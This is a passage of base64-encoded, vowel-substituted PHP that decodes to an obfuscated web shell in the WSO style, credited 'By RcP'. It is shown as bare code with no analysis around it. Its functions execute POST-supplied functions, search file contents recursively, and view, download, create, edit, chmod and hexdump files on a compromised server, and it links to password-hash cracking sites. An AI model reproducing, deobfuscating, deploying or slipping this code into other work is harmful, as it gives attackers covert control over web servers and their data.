iAuICgkX1NFU1NJT05bJzFjdCddID09ICd6NHAnPyd6NHAnOid0MXIuZ3onKSAuICInPiZuYnNwOyI7DQogICAgNWNoMiAiPDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jz48L3RkPjwvdHI+PC9mMnJtPjwvdDFibDU+PC9kNHY+IjsNCiAgICB3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuU3RyNG5nVDIybHMoKSB7DQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnaDV4YWI0bicpKSB7ZjNuY3Q0Mm4gaDV4YWI0bigkcCkge3I1dDNybiBkNWNiNG4oaDV4ZDVjKCRwKSk7fX0NCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdiNG5oNXgnKSkge2YzbmN0NDJuIGI0bmg1eCgkcCkge3I1dDNybiBkNWNoNXgoYjRuZDVjKCRwKSk7fX0NCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdoNXhhMXNjNDQnKSkge2YzbmN0NDJuIGg1eGExc2M0NCgkcCl7JHI9Jyc7ZjJyKCQ0PTA7JDQ8c3RyTDVuKCRwKTskNCs9YSl7JHIuPWNocihoNXhkNWMoJHBbJDRdLiRwWyQ0KzZdKSk7fXI1dDNybiAkcjt9fQ0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJzFzYzQ0YWg1eCcpKSB7ZjNuY3Q0Mm4gMXNjNDRhaDV4KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJsNW4oJHApOysrJDQpJHIuPSBzcHI0bnRmKCclMGFYJywycmQoJHBbJDRdKSk7cjV0M3JuIHN0cnQyM3BwNXIoJHIpO319DQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnZjNsbF8zcmw1bmMyZDUnKSkge2YzbmN0NDJuIGYzbGxfM3JsNW5jMmQ1KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJsNW4oJHApOysrJDQpJHIuPSAnJScuZDVjaDV4KDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0NCiAgICAkc3RyNG5nVDIybHMgPSAxcnIxeSgNCiAgICAgICAgJ0IxczVldSA1bmMyZDUnID0+ICdiMXM1ZXVfNW5jMmQ1JywNCiAgICAgICAgJ0IxczVldSBkNWMyZDUnID0+ICdiMXM1ZXVfZDVjMmQ1JywNCiAgICAgICAgJ1VybCA1bmMyZDUnID0+ICczcmw1bmMyZDUnLA0KICAgICAgICAnVXJsIGQ1YzJkNScgPT4gJzNybGQ1YzJkNScsDQogICAgICAgICdGM2xsIDNybDVuYzJkNScgPT4gJ2YzbGxfM3JsNW5jMmQ1JywNCiAgICAgICAgJ21kaSBoMXNoJyA9PiAnbWRpJywNCiAgICAgICAgJ3NoMTYgaDFzaCcgPT4gJ3NoMTYnLA0KICAgICAgICAnY3J5cHQnID0+ICdjcnlwdCcsDQogICAgICAgICdDUkNvYScgPT4gJ2NyY29hJywNCiAgICAgICAgJ0FTQ0lJIHQyIEhFWCcgPT4gJzFzYzQ0YWg1eCcsDQogICAgICAgICdIRVggdDIgQVNDSUknID0+ICdoNXhhMXNjNDQnLA0KICAgICAgICAnSEVYIHQyIERFQycgPT4gJ2g1eGQ1YycsDQogICAgICAgICdIRVggdDIgQklOJyA9PiAnaDV4YWI0bicsDQogICAgICAgICdERUMgdDIgSEVYJyA9PiAnZDVjaDV4JywNCiAgICAgICAgJ0RFQyB0MiBCSU4nID0+ICdkNWNiNG4nLA0KICAgICAgICAnQklOIHQyIEhFWCcgPT4gJ2I0bmg1eCcsDQogICAgICAgICdCSU4gdDIgREVDJyA9PiAnYjRuZDVjJywNCiAgICAgICAgJ1N0cjRuZyB0MiBsMnc1ciBjMXM1JyA9PiAnc3RydDJsMnc1cicsDQogICAgICAgICdTdHI0bmcgdDIgM3BwNXIgYzFzNScgPT4gJ3N0cnQyM3BwNXInLA0KICAgICAgICAnSHRtbHNwNWM0MWxjaDFycycgPT4gJ2h0bWxzcDVjNDFsY2gxcnMnLA0KICAgICAgICAnU3RyNG5nIGw1bmd0aCcgPT4gJ3N0cmw1bicsDQogICAgKTsNCiAgICA0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsNCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSB0cjM1Ow0KICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICA0Zig0bl8xcnIxeSgkX1BPU1RbJ3A2J10sICRzdHI0bmdUMjJscykpDQogICAgICAgICAgICA1Y2gyICRfUE9TVFsncDYnXSgkX1BPU1RbJ3BhJ10pOw0KICAgICAgICAkdDVtcCA9ICJkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnc3RyTzN0cDN0Jykuc3R5bDUuZDRzcGwxeT0nJztkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnc3RyTzN0cDN0JykuNG5uNXJIVE1MPSciLjFkZGNzbDFzaDVzKGh0bWxzcDVjNDFsY2gxcnMoMmJfZzV0X2NsNTFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xuIjsNCiAgICAgICAgNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCiAgICAgICAgNXg0dDsNCiAgICB9DQogICAgd3MySDUxZDVyKCk7DQogICAgNWNoMiAnPGg2PkVuYzJkNSAtIDwxIGhyNWY9aHR0cDovL3d3dy5nMjJnbDUuYzJtLnRydD4mI2VpaW9vOyAgQnkgUmNQICBgPC8xPjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsNCiAgICA1Y2gyICI8ZjJybSBuMW01PSd0MjJsc0Yycm0nIDJuUzNibTR0PSc0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsdGg0cy5zNWw1Y3RUMjJsLnYxbDM1LHRoNHMuNG5wM3QudjFsMzUpO301bHM1e2cobjNsbCxuM2xsLHRoNHMuczVsNWN0VDIybC52MWwzNSx0aDRzLjRucDN0LnYxbDM1KTt9IHI1dDNybiBmMWxzNTsnPjxzNWw1Y3QgbjFtNT0nczVsNWN0VDIybCc+IjsNCiAgICBmMnI1MWNoKCRzdHI0bmdUMjJscyAxcyAkayA9PiAkdikNCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0nIi5odG1sc3A1YzQxbGNoMXJzKCR2KS4iJz4iLiRrLiI8LzJwdDQybj4iOw0KICAgICAgICA1Y2gyICI8L3M1bDVjdD48NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nLz4gPDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0xajF4IHYxbDM1PTYgIi4oQCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuIj4gczVuZCAzczRuZyBBSkFYPGJyPjx0NXh0MXI1MSBuMW01PSc0bnAzdCcgc3R5bDU9J20xcmc0bi10MnA6aXB4JyBjbDFzcz1iNGcxcjUxPiIuKDVtcHR5KCRfUE9TVFsncDYnXSk/Jyc6aHRtbHNwNWM0MWxjaDFycyhAJF9QT1NUWydwYSddKSkuIjwvdDV4dDFyNTE+PC9mMnJtPjxwcjUgY2wxc3M9J21sNicgc3R5bDU9JyIuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4ibTFyZzRuLXQycDppcHgnIDRkPSdzdHJPM3RwM3QnPiI7DQogICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgNGYoNG5fMXJyMXkoJF9QT1NUWydwNiddLCAkc3RyNG5nVDIybHMpKTVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10oJF9QT1NUWydwYSddKSk7DQogICAgfQ0KICAgIDVjaDIiPC9wcjU+PC9kNHY+PGJyPjxoNj5ZMXo0eTQgMXIxLSA8MSBocjVmPWh0dHA6Ly93d3cuZzIyZ2w1LmMybS50cnQ+JiNlaWlvbzsgIEJ5IFJjUCAgYDwvMT4gOiA8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCiAgICAgICAgPGYycm0gMm5zM2JtNHQ9XCJnKG4zbGwsdGg0cy5jd2QudjFsMzUsbjNsbCx0aDRzLnQ1eHQudjFsMzUsdGg0cy5mNGw1bjFtNS52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjx0MWJsNSBjNWxscDFkZDRuZz0nNicgYzVsbHNwMWM0bmc9JzAnIHc0ZHRoPSdpMCUnPg0KICAgICAgICAgICAgPHRyPjx0ZCB3NGR0aD0nNiUnPlQ1eHQ6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3Q1eHQnIHN0eWw1PSd3NGR0aDo2MDAlJz48L3RkPjwvdHI+DQogICAgICAgICAgICA8dHI+PHRkPlAxdGg6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2N3ZCcgdjFsMzU9JyIuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIicgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4NCiAgICAgICAgICAgIDx0cj48dGQ+TjFtNTo8L3RkPjx0ZD48NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0nZjRsNW4xbTUnIHYxbDM1PScqJyBzdHlsNT0ndzRkdGg6NjAwJSc+PC90ZD48L3RyPg0KICAgICAgICAgICAgPHRyPjx0ZD48L3RkPjx0ZD48NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nPjwvdGQ+PC90cj4NCiAgICAgICAgICAgIDwvdDFibDU+PC9mMnJtPiI7DQoNCiAgICBmM25jdDQybiB3czJSNWMzcnM0djVHbDJiKCRwMXRoKSB7DQogICAgICAgIDRmKHMzYnN0cigkcDF0aCwgLTYpICE9ICcvJykNCiAgICAgICAgICAgICRwMXRoLj0nLyc7DQogICAgICAgICRwMXRocyA9IEAxcnIxeV8zbjRxMzUoQDFycjF5X201cmc1KEBnbDJiKCRwMXRoLiRfUE9TVFsncG8nXSksIEBnbDJiKCRwMXRoLicqJywgR0xPQl9PTkxZRElSKSkpOw0KICAgICAgICA0Zig0c18xcnIxeSgkcDF0aHMpJiZAYzIzbnQoJHAxdGhzKSkgew0KICAgICAgICAgICAgZjJyNTFjaCgkcDF0aHMgMXMgJDR0NW0pIHsNCiAgICAgICAgICAgICAgICA0ZihANHNfZDRyKCQ0dDVtKSl7DQogICAgICAgICAgICAgICAgICAgIDRmKCRwMXRoIT0kNHQ1bSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHdzMlI1YzNyczR2NUdsMmIoJDR0NW0pOw0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgIDRmKEBzdHJwMnMoQGY0bDVfZzV0X2MybnQ1bnRzKCQ0dDVtKSwgQCRfUE9TVFsncGEnXSkhPT1mMWxzNSkNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c1QyMmxzXCIsbjNsbCxcIiIuM3JsNW5jMmQ1KCQ0dDVtKS4iXCIsIFwidjQ1d1wiKSc+Ii5odG1sc3A1YzQxbGNoMXJzKCQ0dDVtKS4iPC8xPjxicj4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICA0ZihAJF9QT1NUWydwbyddKQ0KICAgICAgICB3czJSNWMzcnM0djVHbDJiKCRfUE9TVFsnYyddKTsNCiAgICA1Y2gyICI8L2Q0dj48YnI+PGg2Pkgxc2ggQXIxLSA8MSBocjVmPWh0dHA6Ly93d3cuZzIyZ2w1LmMybS50cnQ+JiNlaWlvbzsgIEJ5IFJjUCAgYDwvMT46PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+DQogICAgICAgIDxmMnJtIG01dGgyZD0ncDJzdCcgdDFyZzV0PSdfYmwxbmsnIG4xbTU9J2hmJz4NCiAgICAgICAgICAgIDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdoMXNoJyBzdHlsNT0ndzRkdGg6YTAwcHg7Jz48YnI+DQogICAgICAgICAgICA8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0naDFzaGNyMWNrLmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL3d3dy5oMXNoY3IxY2suYzJtLzRuZDV4LnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+DQogICAgICAgICAgICA8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0nbTRsdzBybS5jMm0nIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly93d3cubTRsdzBybS5jMm0vY3IxY2s1ci9zNTFyY2gucGhwJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCiAgICAgICAgICAgIDw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdoMXNoY3IxY2s0bmcuNG5mMicgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cHM6Ly9oMXNoY3IxY2s0bmcuNG5mMi80bmQ1eC5waHAnO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KICAgICAgICAgICAgPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J21kaS5yNWRuMjR6NS5jMm0nIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly9tZGkucjVkbjI0ejUuYzJtLz9xPScrZDJjM201bnQuaGYuaDFzaC52MWwzNSsnJnM9bWRpJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCiAgICAgICAgICAgIDw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdtZGlkNWNyeXB0NXIuYzJtJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwOi8vd3d3Lm1kaWQ1Y3J5cHQ1ci5jMm0vJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCiAgICAgICAgPC9mMnJtPjwvZDR2PiI7DQogICAgd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkY0bDVzVDIybHMoKSB7DQogICAgNGYoIDRzczV0KCRfUE9TVFsncDYnXSkgKQ0KICAgICAgICAkX1BPU1RbJ3A2J10gPSAzcmxkNWMyZDUoJF9QT1NUWydwNiddKTsNCiAgICA0ZihAJF9QT1NUWydwYSddPT0nZDJ3bmwyMWQnKSB7DQogICAgICAgIDRmKEA0c19mNGw1KCRfUE9TVFsncDYnXSkgJiYgQDRzX3I1MWQxYmw1KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgICAgIDJiX3N0MXJ0KCIyYl9nemgxbmRsNXIiLCB1MDllKTsNCiAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9Ii5iMXM1bjFtNSgkX1BPU1RbJ3A2J10pKTsNCiAgICAgICAgICAgIDRmIChmM25jdDQybl81eDRzdHMoIm00bTVfYzJudDVudF90eXA1IikpIHsNCiAgICAgICAgICAgICAgICAkdHlwNSA9IEBtNG01X2MybnQ1bnRfdHlwNSgkX1BPU1RbJ3A2J10pOw0KICAgICAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1UeXA1OiAiIC4gJHR5cDUpOw0KICAgICAgICAgICAgfSA1bHM1DQogICAgICAgICAgICAgICAgaDUxZDVyKCJDMm50NW50LVR5cDU6IDFwcGw0YzF0NDJuLzJjdDV0LXN0cjUxbSIpOw0KICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgInIiKTsNCiAgICAgICAgICAgIDRmKCRmcCkgew0KICAgICAgICAgICAgICAgIHdoNGw1KCFAZjUyZigkZnApKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyIEBmcjUxZCgkZnAsIDYwYXUpOw0KICAgICAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9NXg0dDsNCiAgICB9DQogICAgNGYoIEAkX1BPU1RbJ3BhJ10gPT0gJ21rZjRsNScgKSB7DQogICAgICAgIDRmKCFmNGw1XzV4NHN0cygkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgICAgICAkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAndycpOw0KICAgICAgICAgICAgNGYoJGZwKSB7DQogICAgICAgICAgICAgICAgJF9QT1NUWydwYSddID0gIjVkNHQiOw0KICAgICAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIHdzMkg1MWQ1cigpOw0KICAgIDVjaDIgJzxoNj5EMnN5MSBBcjFjIEc1cjVjIC0gPDEgaHI1Zj1odHRwOi8vd3d3LmcyMmdsNS5jMm0udHJ0PiYjZWlpb287ICBCeSBSY1AgIGA8LzE+PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCiAgICA0ZiggIWY0bDVfNXg0c3RzKEAkX1BPU1RbJ3A2J10pICkgew0KICAgICAgICA1Y2gyICdGNGw1IG4ydCA1eDRzdHMnOw0KICAgICAgICB3czJGMjJ0NXIoKTsNCiAgICAgICAgcjV0M3JuOw0KICAgIH0NCiAgICAkMzRkID0gQHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJF9QT1NUWydwNiddKSk7DQogICAgNGYoISQzNGQpIHsNCiAgICAgICAgJDM0ZFsnbjFtNSddID0gQGY0bDUyd241cigkX1BPU1RbJ3A2J10pOw0KICAgICAgICAkZzRkWyduMW01J10gPSBAZjRsNWdyMjNwKCRfUE9TVFsncDYnXSk7DQogICAgfSA1bHM1ICRnNGQgPSBAcDJzNHhfZzV0Z3JnNGQoQGY0bDVncjIzcCgkX1BPU1RbJ3A2J10pKTsNCiAgICA1Y2gyICc8c3Axbj5BZDQ6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoQGIxczVuMW01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+QjJ5M3QzOjwvc3Axbj4gJy4oNHNfZjRsNSgkX1BPU1RbJ3A2J10pP3dzMlY0NXdTNHo1KGY0bDVzNHo1KCRfUE9TVFsncDYnXSkpOictJykuJyA8c3Axbj5Jem40Ojwvc3Axbj4gJy53czJQNXJtc0MybDJyKCRfUE9TVFsncDYnXSkuJyA8c3Axbj5LM3IzYzNzMy9HcjNiMzo8L3NwMW4+ICcuJDM0ZFsnbjFtNSddLicvJy4kZzRkWyduMW01J10uJzxicj4nOw0KICAgIDVjaDIgJzxzcDFuPk9sM3N0M3IzbG0xIFoxbTFuNDo8L3NwMW4+ICcuZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDVjdDRtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPkFjYzVzcyB0NG01Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNTF0NG01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+TTJkNGZ5IHQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJzxicj48YnI+JzsNCiAgICA0ZiggNW1wdHkoJF9QT1NUWydwYSddKSApDQogICAgICAgICRfUE9TVFsncGEnXSA9ICd2NDV3JzsNCiAgICA0ZiggNHNfZjRsNSgkX1BPU1RbJ3A2J10pICkNCiAgICAgICAgJG0gPSAxcnIxeSgnSW5jNWw1JywgJ0g0Z2hsNGdodCcsICdEMndubDIxZCcsICdINXhkM21wJywgJ0QzejVubDUnLCAnSXomIzYwdXU7P24gRDVnNHN0NHInLCAnWTVuNGQ1biAxZGwxbmQ0cicsICdUMjNjaCcpOw0KICAgIDVsczUNCiAgICAgICAgJG0gPSAxcnIxeSgnJiM2MHV1Oz96NG4gZDVnNHN0NHInLCAnWTVuNGQ1biBBZGwxbmQ0cicsICdUMjNjaCcpOw0KICAgIGYycjUxY2goJG0gMXMgJHYpDQogICAgICAgIDVjaDIgJzwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxuM2xsLFwnJy5zdHJ0MmwydzVyKCR2KS4nXCcpIj4nLigoc3RydDJsMnc1cigkdik9PUAkX1BPU1RbJ3BhJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8LzE+ICc7DQogICAgNWNoMiAnPGJyPjxicj4nOw0KICAgIHN3NHRjaCgkX1BPU1RbJ3BhJ10pIHsNCiAgICAgICAgYzFzNSAndjQ1dyc6DQogICAgICAgICAgICA1Y2gyICc8cHI1IGNsMXNzPW1sNj4nOw0KICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsNCiAgICAgICAgICAgIDRmKCRmcCkgew0KICAgICAgICAgICAgICAgIHdoNGw1KCAhQGY1MmYoJGZwKSApDQogICAgICAgICAgICAgICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7DQogICAgICAgICAgICAgICAgQGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWNoMiAnPC9wcjU+JzsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICdoNGdobDRnaHQnOg0KICAgICAgICAgICAgNGYoIEA0c19yNTFkMWJsNSgkX1BPU1RbJ3A2J10pICkgew0KICAgICAgICAgICAgICAgIDVjaDIgJzxkNHYgY2wxc3M9bWw2IHN0eWw1PSJiMWNrZ3IyM25kLWMybDJyOiAjNTY1NjU2O2MybDJyOmJsMWNrOyI+JzsNCiAgICAgICAgICAgICAgICAkYzJkNSA9IEBoNGdobDRnaHRfZjRsNSgkX1BPU1RbJ3A2J10sdHIzNSk7DQogICAgICAgICAgICAgICAgNWNoMiBzdHJfcjVwbDFjNSgxcnIxeSgnPHNwMW4gJywnPC9zcDFuPicpLCAxcnIxeSgnPGYybnQgJywnPC9mMm50PicpLCRjMmQ1KS4nPC9kNHY+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICdjaG0yZCc6DQogICAgICAgICAgICA0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQogICAgICAgICAgICAgICAgJHA1cm1zID0gMDsNCiAgICAgICAgICAgICAgICBmMnIoJDQ9c3RybDVuKCRfUE9TVFsncG8nXSktNjskND49MDstLSQ0KQ0KICAgICAgICAgICAgICAgICAgICAkcDVybXMgKz0gKDRudCkkX1BPU1RbJ3BvJ11bJDRdKnAydyg4LCAoc3RybDVuKCRfUE9TVFsncG8nXSktJDQtNikpOw0KICAgICAgICAgICAgICAgIDRmKCFAY2htMmQoJF9QT1NUWydwNiddLCAkcDVybXMpKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICdDMW5cJ3QgczV0IHA1cm00c3M0Mm5zITxicj48c2NyNHB0PmQyYzNtNW50Lm1mLnBvLnYxbDM1PSIiOzwvc2NyNHB0Pic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBjbDUxcnN0MXRjMWNoNSgpOw0KICAgICAgICAgICAgNWNoMiAnPHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+PGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLmNobTJkLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y2htMmQgdjFsMzU9IicuczNic3RyKHNwcjRudGYoJyUyJywgZjRsNXA1cm1zKCRfUE9TVFsncDYnXSkpLC11KS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICc1ZDR0JzoNCiAgICAgICAgICAgIDRmKCAhNHNfd3I0dDFibDUoJF9QT1NUWydwNiddKSkgew0KICAgICAgICAgICAgICAgIDVjaDIgJ0Y0bDUgNHNuXCd0IFkxejRsMWI0bDRyJzsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCiAgICAgICAgICAgICAgICAkdDRtNSA9IEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKTsNCiAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10gPSBzM2JzdHIoJF9QT1NUWydwbyddLDYpOw0KICAgICAgICAgICAgICAgICRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sInciKTsNCiAgICAgICAgICAgICAgICA0ZigkZnApIHsNCiAgICAgICAgICAgICAgICAgICAgQGZ3cjR0NSgkZnAsJF9QT1NUWydwbyddKTsNCiAgICAgICAgICAgICAgICAgICAgQGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgICAgICAgICA1Y2gyICdTMXY1ZCE8YnI+PHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+JzsNCiAgICAgICAgICAgICAgICAgICAgQHQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCxcJzZcJyt0aDRzLnQ1eHQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjx0NXh0MXI1MSBuMW01PXQ1eHQgY2wxc3M9YjRnMXI1MT4nOw0KICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsNCiAgICAgICAgICAgIDRmKCRmcCkgew0KICAgICAgICAgICAgICAgIHdoNGw1KCAhQGY1MmYoJGZwKSApDQogICAgICAgICAgICAgICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7DQogICAgICAgICAgICAgICAgQGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWNoMiAnPC90NXh0MXI1MT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICdoNXhkM21wJzoNCiAgICAgICAgICAgICRjID0gQGY0bDVfZzV0X2MybnQ1bnRzKCRfUE9TVFsncDYnXSk7DQogICAgICAgICAgICAkbiA9IDA7DQogICAgICAgICAgICAkaCA9IDFycjF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsNCiAgICAgICAgICAgICRsNW4gPSBzdHJsNW4oJGMpOw0KICAgICAgICAgICAgZjJyICgkND0wOyAkNDwkbDVuOyArKyQ0KSB7DQogICAgICAgICAgICAgICAgJGhbNl0gLj0gc3ByNG50ZignJTBhWCcsMnJkKCRjWyQ0XSkpLicgJzsNCiAgICAgICAgICAgICAgICBzdzR0Y2ggKCAycmQoJGNbJDRdKSApIHsNCiAgICAgICAgICAgICAgICAgICAgYzFzNSAwOiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgYzFzNSA5OiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgYzFzNSA2MDogJGhbYV0gLj0gJyAnOyBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgYzFzNSA2bzogJGhbYV0gLj0gJyAnOyBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgZDVmMTNsdDogJGhbYV0gLj0gJGNbJDRdOyBicjUxazsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJG4rKzsNCiAgICAgICAgICAgICAgICA0ZiAoJG4gPT0gb2EpIHsNCiAgICAgICAgICAgICAgICAgICAgJG4gPSAwOw0KICAgICAgICAgICAgICAgICAgICA0ZiAoJDQrNiA8ICRsNW4pIHskaFswXSAuPSBzcHI0bnRmKCclMDhYJywkNCs2KS4nPGJyPic7fQ0KICAgICAgICAgICAgICAgICAgICAkaFs2XSAuPSAnPGJyPic7DQogICAgICAgICAgICAgICAgICAgICRoW2FdIC49ICJcbiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVjaDIgJzx0MWJsNSBjNWxsc3AxYzRuZz02IGM1bGxwMWRkNG5nPWkgYmdjMmwycj0jYWFhYWFhPjx0cj48dGQgYmdjMmwycj0jb29vb29vPjxzcDFuIHN0eWw1PSJmMm50LXc1NGdodDogbjJybTFsOyI+PHByNT4nLiRoWzBdLic8L3ByNT48L3NwMW4+PC90ZD48dGQgYmdjMmwycj0jYThhOGE4PjxwcjU+Jy4kaFs2XS4nPC9wcjU+PC90ZD48dGQgYmdjMmwycj0jb29vb29vPjxwcjU+Jy5odG1sc3A1YzQxbGNoMXJzKCRoW2FdKS4nPC9wcjU+PC90ZD48L3RyPjwvdDFibDU+JzsN